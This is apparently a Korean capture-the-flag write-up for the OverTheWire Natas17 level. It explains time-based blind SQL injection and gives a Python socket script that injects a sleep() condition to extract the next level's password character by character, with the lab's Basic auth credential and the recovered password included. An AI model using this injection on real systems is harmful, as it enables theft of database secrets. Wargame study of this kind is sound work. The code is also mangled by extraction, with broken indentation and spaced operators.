접기
풀이보기 전 15번 문제와 비슷하다. 하지만 echo로 프린트해주는 부분을 막아놓았다. 어떤 username이 존재하는지 알 수 없기때문에 전과 같이 이용할 수 없다. 그렇기 때문에 Time based SQL Injection 이라는 sleep 모듈을 이용해서 사용하면 쿼리가 제대로 작동하면 sleep이 돌고, 작동하지 않으면 sleep이 돌지 않게끔 만들면 echo로 확인할수 없어도 sleep으로 확인할 수 있다.
접기 접기
[Natas17 - Natas18 자동화프로그램] - Python3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import socket
import time
for i in range (1 ,33 ):
for ch in range (48 ,123 ):
if 58 < = ch < = 64 : continue
if 91 < = ch < = 96 : continue
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(("176.9.9.172" ,80 ))
header = "GET /index.php"
header + = "?username=natas18\"%20and%20ord(mid(password,+" + str (i)+ ",1))=" + str (ch)+ "%20and%20sleep(5)%23 "
header + = "HTTP/1.1\r\n"
header + = "Authorization:Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw==\r\n"
header + = "Host:natas17.natas.labs.overthewire.org\r\n"
header + = "\r\n"
response = " "
start = time.time()
sock.send(header.encode())
response = sock.recv(65535 )
end = time.time() - start
response = response.decode()
if int (end) = = 5 :
print ( chr(ch),end= '' ,flush= True )
sock.close ()
break;
sock.close ()
print ()
#결과값 : xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
IT Security
접기